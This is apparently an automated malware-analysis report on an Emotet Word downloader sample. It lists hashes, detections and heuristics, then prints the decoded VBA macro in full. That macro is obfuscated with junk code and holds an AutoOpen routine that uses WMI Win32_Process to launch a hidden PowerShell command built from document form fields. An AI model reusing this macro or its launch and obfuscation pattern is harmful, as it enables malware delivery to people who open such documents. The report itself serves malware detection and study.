Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 003b9130a3631b38…

MALICIOUS

Office (OLE)

147.9 KB Created: 2019-05-31 15:27:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 9ea1f754ce33edb5e3a1fb5cbdc0ae1f SHA-1: c2d1061ffd916572f5f3d56b52cf2fa9f7e82f2d SHA-256: 003b9130a3631b38d8bf7eed6c2c9f12bb73de439faf75ad3e2098157427f003
190 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-10001946-0', indicating it's a downloader for the Emotet family. Heuristics confirm the presence of VBA macros, including an AutoOpen macro and a CreateObject call, which are commonly used to execute malicious code. The VBA script, though truncated, suggests the execution of a second-stage payload, likely a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    CreateObject(IKNEDz).Create# aiZQkM + "pow" + ZmENw_V + ThisDocument.zP1r39TU + Itozsaww + ThisDocument.kadvjs + ThisDocument.wDla3z_ + rcDCmlQF, Q_jN226, uFq_hzI, TYjBvwoJ
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    autoopen( _
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17148 bytes
SHA-256: b98fa0df78cbb82486faf87711bff2663908488e20122901a4b198529db70aff
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "wDla3z_, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "zP1r39TU, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "kadvjs, 2, 2, MSForms, ComboBox"

Attribute VB_Name = "A24iRMj"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "dKkVvLKS"

Attribute VB_Name = "PGPPpU_"

Attribute VB_Name = "Mbqzc2vU"

Attribute VB_Name = "I3ubzO"

Attribute VB_Name = "CD6TE_Sn"

Attribute VB_Name = "ufMaicO"

Attribute VB_Name = "OIrdjS"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "E0m4On6"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "iwW4R8"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "PTAzNmG3"
Function YDQC75qb()
   Select Case "wCY8XHou"
         Case "iGQHI8p"
         Debug.Print "zTpi5o1"
            Debug.Print Tan("UUZqtPKw")
         Debug.Print Log("vGu1wZ")
            Debug.Print "tpusIlW"
            Debug.Print "OifSiz9"
            Debug.Print Tan("G6XB8Wsc")
         Case "Ki3JBN9"
            Debug.Print Log("jMwUv34S")
            Debug.Print "TRzi5S0C"
            Debug.Print Log("U_r6ww5a")
            Debug.Print "DkLBpsT"
            Debug.Print Tan("IED_hUR")
            Debug.Print "w3DKG6jr"
End Select

   Select Case "D_dz8Tz"
         Case "wjTvjCNR"
         Debug.Print "Sruqlw"
            Debug.Print Tan("AOR3GF")
         Debug.Print Log("jo6uOX")
            Debug.Print "pUVA4O"
            Debug.Print "sQo7UT4"
            Debug.Print Tan("LwEmHdOt")
         Case "iWuz0Vc"
            Debug.Print Log("VINwO3")
            Debug.Print "WGzTv38A"
            Debug.Print Log("jr2GRi")
            Debug.Print "CHbpl4b"
            Debug.Print Tan("iAC2uHn")
            Debug.Print "fHzfwza"
End Select

End Function
Function cELmYS()
   Select Case "J_L2PLP"
         Case "b0zm94ds"
         Debug.Print "zUBSiKc"
            Debug.Print Tan("owW4Rn")
         Debug.Print Log("jbz4rpZ")
            Debug.Print "votYDG"
            Debug.Print "rSKror"
            Debug.Print Tan("wz_KGj")
         Case "c2RniTqm"
            Debug.Print Log("MwN5us7")
            Debug.Print "R2p0uBo"
            Debug.Print Log("VTCZpw2M")
            Debug.Print "phmi4Oc_"
            Debug.Print Tan("CRPfEp")
            Debug.Print "thm1kwLf"
End Select

If 789825 = 789825 Then
   Select Case "FNm82967"
         Case "jKDnSv93"
         Debug.Print "t1LClu"
            Debug.Print Tan("Q7CHsw7S")
         Debug.Print Log("rLB3sQ")
            Debug.Print "IRrSd9T"
            Debug.Print "NBjVG7Gm"
            Debug.Print Tan("ddPsA9wB")
         Case "zI6iLk"
            Debug.Print Log("BcFwo5")
            Debug.Print "LztQ7Q"
            Debug.Print Log("w96krUq")
            Debug.Print "B6IGEK"
            Debug.Print Tan("wlBvw1")
            Debug.Print "lv_SuG"
End Select

IKNEDz = IoA0Zkmo + "winmgmts:Wi" + ivZcUjF + "n32_Process" + U5sk0W
   Select Case "PGFodHGj"
         Case "qShjtVFZ"
         Debug.Print "E76OAY9W"
            Debug.Print Tan("nFizR1wW")
         Debug.Print Log("GEWihOBC")
            Debug.Print "dvUstXM3"
            Debug.Print "Hv_A6u"
            Debug.Print Tan("P5ktU93A")
         Case "kwW7uzV"
            Debug.Print Log("sG5o6sAo")
            Debug.Print "RozfTu"
            Debug.Print Log("saX1sw")
            Debug.Print "tsNBMq"
            Debug.Print Tan("umZQpBTT")
            Debug.Print "Lt5RDLCm"
End Select

End If
   Select Case "iiTqnh"
         Case "LoYWUfc"
         Debug.Print "ZC_lnFLJ"
            Debug.Print Tan("GK7TMZ")
         Debug.Print Log("pSMkwvb")
            Debug.Print "ZzsDh58"
            Debug.Print "ijBZIj4j"
            Debug.Print Tan("OVL920")
         Case "b5RPJptr"
            Debug.Print Log("zlQ_ba")
            Debug.Print "ZZKqsPLI"
            Debug.Print Log("P33F4_")
            Debug.Print "aVXWqbL2"
            Debug.Print Tan("CS6wI4iP")
            Debug.Print "KCDB_rYi"
End Select

CreateObject(IKNEDz).Create# aiZQkM + "pow" + ZmENw_V + ThisDocument.zP1r39TU + Itozsaww + ThisDocument.kadvjs + ThisDocument.wDla3z_ + rcDCmlQF, Q_jN226, uFq_hzI, TYjBvwoJ
   Select Case "WMPutrwL"
         Case "PoqqDrOI"
         Debug.Print "WGaZwa"
            Debug.Print Tan("ZbNzvvad")
         Debug.Print Log("oUhJY7o")
            Debug.Print "ItfC7vuP"
            Debug.Print "r9Tf4rjt"
            Debug.Print Tan("vQkolV7s")
         Case "ZwzhBN_Z"
            Debug.Print Log("BfFrNp")
            Debug.Print "id4NID05"
            Debug.Print Log("WlzB9mSE")
            Debug.Print "YqrHcd3a"
            Debug.Print Tan("W82HDz1Q")
            Debug.Print "dHEJ9qNA"
End Select

End Function
Function GliUiVJa()
   Select Case "jXtJf0Y"
         Case "AaUrAvI"
         Debug.Print "v5Frhdw"
            Debug.Print Tan("ozr1tzdB")
         Debug.Print Log("Onwq1if")
            Debug.Print "QYDlXV"
            Debug.Print "Q_1PVT"
            Debug.Print Tan("U5LrfN0")
         Case "p9HNPNB"
            Debug.Print Log("tktOUiH")
            Debug.Print "BSU7Uw"
            Debug.Print Log("iU3vGab")
            Debug.Print "Ti8EzzV"
            Debug.Print Tan("W5Kkrj2")
            Debug.Print "RP3oTIzn"
End Select

   Select Case "uwsMaCXc"
         Case "DXqHRGkT"
         Debug.Print "Sw_uNj"
            Debug.Print Tan("L2uhCj")
         Debug.Print Log("dZiwMiNO")
            Debug.Print "fmd2YOd"
            Debug.Print "Gw906EX"
            Debug.Print Tan("DhUGAZ")
         Case "nV33iw"
            Debug.Print Log("vWhXdfDC")
            Debug.Print "FmaouzQK"
            Debug.Print Log("IflDUN")
            Debug.Print "Hjj_3Q"
            Debug.Print Tan("r2kjiS7B")
            Debug.Print "nImDmYm0"
End Select

End Function

Attribute VB_Name = "jh6POjK"
Function kI9o5hwM()
   Select Case "NbKOBD2"
         Case "EnftNVV"
         Debug.Print "M7z_TCF"
            Debug.Print Tan("sBajIa")
         Debug.Print Log("ackXXT")
            Debug.Print "Br0cjS"
            Debug.Print "MPIvRI"
            Debug.Print Tan("H0_9Nj")
         Case "d715dD"
            Debug.Print Log("l5RVGaj")
            Debug.Print "FU4RaB"
            Debug.Print Log("XPYUI4")
            Debug.Print "v5odC2"
            Debug.Print Tan("aBX2zCt")
            Debug.Print "tGMmzJ5"
End Select

   Select Case "fSiaVP"
         Case "EwIFjaw"
         Debug.Print "wTc4jUU"
            Debug.Print Tan("wPiF_iF")
         Debug.Print Log("DVzFGn")
            Debug.Print "WcQRaSfc"
            Debug.Print "ZJD0N36T"
            Debug.Print Tan("zwoAHM")
         Case "o4Nzzw"
            Debug.Print Log("PIj9_oNj")
            Debug.Print "IGI7Kz"
            Debug.Print Log("opwQJO")
            Debug.Print "j5tpXQ"
            Debug.Print Tan("dwwPEVi")
            Debug.Print "rBlI2sa"
End Select

End Function
Sub _
autoopen( _
)
   Select Case "WOwlJW"
         Case "FWpHHipS"
         Debug.Print "b1liRn"
            Debug.Print Tan("XYXEbvW3")
         Debug.Print Log("qoq6VH")
            Debug.Print "iQHswob"
            Debug.Print "ht88LiS5"
            Debug.Print Tan("B75vPr")
         Case "CimfiFv"
            Debug.Print Log("mvkuoF7t")
            Debug.Print "FnFYBh1X"
            Debug.Print Log("a3BLJYzN")
            Debug.Print "sMNziJ"
            Debug.Print Tan("T19CGwj")
            Debug.Print "Il9otIMQ"
End Select

cELmYS
   Select Case "YtSznF"
         Case "w3YwIc"
         Debug.Print "tNi_ji"
            Debug.Print Tan("oU6iNarn")
         Debug.Print Log("zGqT8KF")
            Debug.Print "mC2LQJE2"
            Debug.Print "qi7pbCSK"
            Debug.Print Tan("aKwFjf")
         Case "dQY5pwU"
            Debug.Print Log("HpYJjiz5")
            Debug.Print "XPQo_Q"
            Debug.Print Log("iRwnvw")
            Debug.Print "uc64KV"
            Debug.Print Tan("Ijc78n")
            Debug.Print "bd8YSm"
End Select

End Sub
Function zl3NAS()
   Select Case "MlamzqTY"
         Case "FMjjP129"
         Debug.Print "zpYsqAS3"
            Debug.Print Tan("WEfz1U")
         Debug.Print Log("DjWkWi")
            Debug.Print "QM3SF3R"
            Debug.Print "iMt7zYbP"
            Debug.Print Tan("Crut7m")
         Case "IUZS6aQr"
            Debug.Print Log("sCkzB_PI")
            Debug.Print "OI6VMN"
            Debug.Print Log("id8qQ9HK")
            Debug.Print "PTqFSc"
            Debug.Print Tan("kPquiw")
            Debug.Print "jCZEFrLi"
End Select

   Select Case "h5lPRk"
         Case "kOESOL"
         Debug.Print "lbZOqbLq"
            Debug.Print Tan("uzMOa7nr")
         Debug.Print Log("hHzAu61")
            Debug.Print "BMB4bRvz"
            Debug.Print "Lt6CWrQ"
            Debug.Print Tan("qIqhKiD")
         Case "Uivlc1K"
            Debug.Print Log("wv8qJWEw")
            Debug.Print "EcTi3W7r"
            Debug.Print Log("sVXqIYw3")
            Debug.Print "E3pzUS"
            Debug.Print Tan("zUcWvU")
            Debug.Print "E_4PhI"
End Select

End Function
Function G0zNw2O()
   Select Case "qjBVHlcv"
         Case "psKKrcph"
         Debug.Print "O9UVW2k"
            Debug.Print Tan("i9_fRwRr")
         Debug.Print Log("AwBAYb")
            Debug.Print "L6Xo5i"
            Debug.Print "sMr0QAu"
            Debug.Print Tan("rzN5WZw")
         Case "KpQ975Y"
            Debug.Print Log("pmADcjw")
            Debug.Print "zl5_DP"
            Debug.Print Log("hwP2fli")
            Debug.Print "QP5Qzki"
            Debug.Print Tan("IjzUrHZU")
            Debug.Print "YMlAjYP"
End Select

   Select Case "DHLaf9i"
         Case "zrDSMi8z"
         Debug.Print "ihGrQj"
            Debug.Print Tan("MTtOla")
         Debug.Print Log("b9rtQA")
            Debug.Print "c3b1p__"
            Debug.Print "r8z9b6"
            Debug.Print Tan("jO_9tFo")
         Case "w0Gw2k"
            Debug.Print Log("HZHGnQU")
            Debug.Print "nd5HFD"
            Debug.Print Log("dzTr1z")
            Debug.Print "bBAwU_"
            Debug.Print Tan("aSjuiD9")
            Debug.Print "fUKqA4"
End Select

End Function
Function uFq_hzI()
   Select Case "ww_SKF"
         Case "OkGNlICi"
         Debug.Print "pnpChFRk"
            Debug.Print Tan("dMHDsTs8")
         Debug.Print Log("f5uuWZn")
            Debug.Print "ijhsjRv"
            Debug.Print "M5BkpQIE"
            Debug.Print Tan("aRaG0U")
         Case "u7qIdIJv"
            Debug.Print Log("Ziw9zv")
            Debug.Print "QAPimR8k"
            Debug.Print Log("MaiYUX")
            Debug.Print "NGb4b54"
            Debug.Print Tan("vQifqXS")
            Debug.Print "iaUYM4"
End Select

If 789825 = 789825 Then
   Select Case "jp5mtr"
         Case "zr4OUd"
         Debug.Print "URM1bY"
            Debug.Print Tan("JtAAEc0")
         Debug.Print Log("cKwajCXj")
            Debug.Print "G7d2FtB"
            Debug.Print "B5rSBab"
            Debug.Print Tan("CFjsidwS")
         Case "rO1U8Cjh"
            Debug.Print Log("vRC5UX33")
            Debug.Print "zIDrda2Z"
            Debug.Print Log("Dw1IsaMj")
            Debug.Print "a5tHwv"
            Debug.Print Tan("UHm6aJ5")
            Debug.Print "H2jLGG"
End Select

IKNEDz = noA_X8 + "winmgmts:Wi" + PEAo59C + "n32_Processstartup" + WEZiPZ
   Select Case "iuzqMpI"
         Case "czTanQZP"
         Debug.Print "UEVkvbs"
            Debug.Print Tan("dFHUApp6")
         Debug.Print Log("K1wu8PG")
            Debug.Print "f9u5IiYQ"
            Debug.Print "BPfoTA"
            Debug.Print Tan("ZSv0W5w")
         Case "iVZUo9zZ"
            Debug.Print Log("K_wnYVvi")
            Debug.Print "JftKzmKH"
            Debug.Print Log("rFj2z76")
            Debug.Print "OqPbLkc"
            Debug.Print Tan("Solam6jF")
            Debug.Print "aBzswQ"
End Select

End If
   Select Case "IwmubE"
         Case "RGZGn2wU"
         Debug.Print "mvrN_KOM"
            Debug.Print Tan("vm2GMztc")
         Debug.Print Log("NwIKuku")
            Debug.Print "FA7dzI2Z"
            Debug.Print "WjODw8tP"
            Debug.Print Tan("rIUQhi7n")
         Case "WbNj5q_"
            Debug.Print Log("wWXwrn")
            Debug.Print "mXOAUb"
            Debug.Print Log("wrp8RNO4")
            Debug.Print "ATsKF9k"
            Debug.Print Tan("ccWood")
            Debug.Print "NScF_G"
End Select

Set uFq_hzI = CreateObject(IKNEDz)
   Select Case "Q8TuAt"
         Case "NGljSVMo"
         Debug.Print "bIZiv_w"
            Debug.Print Tan("Aj_QIos")
         Debug.Print Log("Qoc2PE")
            Debug.Print "WJ7QwY"
            Debug.Print "Sa5vLT"
            Debug.Print Tan("PKUR1c6")
         Case "CTZNr4V"
            Debug.Print Log("cmmKOLB")
            Debug.Print "LwK9Aq0i"
            Debug.Print Log("bW_OV2tE")
            Debug.Print "iijAnw"
            Debug.Print Tan("G7IQ4psz")
            Debug.Print "QuOIzl"
End Select

With uFq_hzI
   Select Case "sts4Wm"
         Case "wRY6DWi"
         Debug.Print "idazfBi3"
            Debug.Print Tan("ozH0zr9")
         Debug.Print Log("EhpLF7GQ")
            Debug.Print "ADjF5ZfT"
            Debug.Print "kKBpMLz"
            Debug.Print Tan("iOGPrh")
         Case "OV3Zv3Aq"
            Debug.Print Log("lNkUYf")
            Debug.Print "vjA_5I"
            Debug.Print Log("En6w4isi")
            Debug.Print "i98SA01_"
            Debug.Print Tan("kQ1ljhm")
            Debug.Print "PctHzzYv"
End Select

. _
ShowWindow = UkEiUG + aCj_GnpD
   Select Case "wPihL6"
         Case "CG4w5PLo"
         Debug.Print "TokB83qz"
            Debug.Print Tan("WnjCzA")
         Debug.Print Log("iE9fnwS")
            Debug.Print "EPScw4"
            Debug.Print "or9Tn3"
            Debug.Print Tan("rjZi2A4j")
         Case "is4Bwt"
            Debug.Print Log("diqvpvR")
            Debug.Print "QtV9Mj"
            Debug.Print Log("M4VbFWu6")
            Debug.Print "iVw4OQ"
            Debug.Print Tan("sQE3pR")
            Debug.Print "i1MGYI"
End Select

End With
   Select Case "huZZBHU"
         Case "YsGHh0"
         Debug.Print "wfdCi3"
            Debug.Print Tan("imabA_C")
         Debug.Print Log("vLYQTGln")
            Debug.Print "CCNjNX"
            Debug.Print "AtlK3F"
            Debug.Print Tan("a5IOip0")
         Case "pswpY3Z"
            Debug.Print Log("OkXCMDm7")
            Debug.Print "IvUTi3l"
            Debug.Print Log("GlYE29a")
            Debug.Print "Um2LBEz"
            Debug.Print Tan("XrEnin")
            Debug.Print "sdYRww"
End Select

End Function
Function LM5OBzIp()
   Select Case "iJifJHA4"
         Case "Fl8m3rsX"
         Debug.Print "NwGt1Di"
            Debug.Print Tan("wtYWmKh")
         Debug.Print Log("mwqoXEl")
            Debug.Print "fHhb3V"
            Debug.Print "uDvpGkid"
            Debug.Print Tan("lPUcU5")
         Case "n7mZBIz"
            Debug.Print Log("V4h3D94R")
            Debug.Print "soOMLU"
            Debug.Print Log("quJzoPOk")
            Debug.Print "ZCm4Hn"
            Debug.Print Tan("aQqRcL2")
            Debug.Print "zhubED"
End Select

   Select Case "SZauFWd"
         Case "izpPmE"
         Debug.Print "fkhakvII"
            Debug.Print Tan("fUf50z")
         Debug.Print Log("LwDkB7TS")
            Debug.Print "zloRBr"
            Debug.Print "HAzoSm"
            Debug.Print Tan("sujwz4")
         Case "sPrBimGS"
            Debug.Print Log("JOiUTw")
            Debug.Print "h5FkibU2"
            Debug.Print Log("mCTDR5b")
            Debug.Print "Rsh6fs"
            Debug.Print Tan("BohbvOF")
            Debug.Print "iRvPssh"
End Select

End Function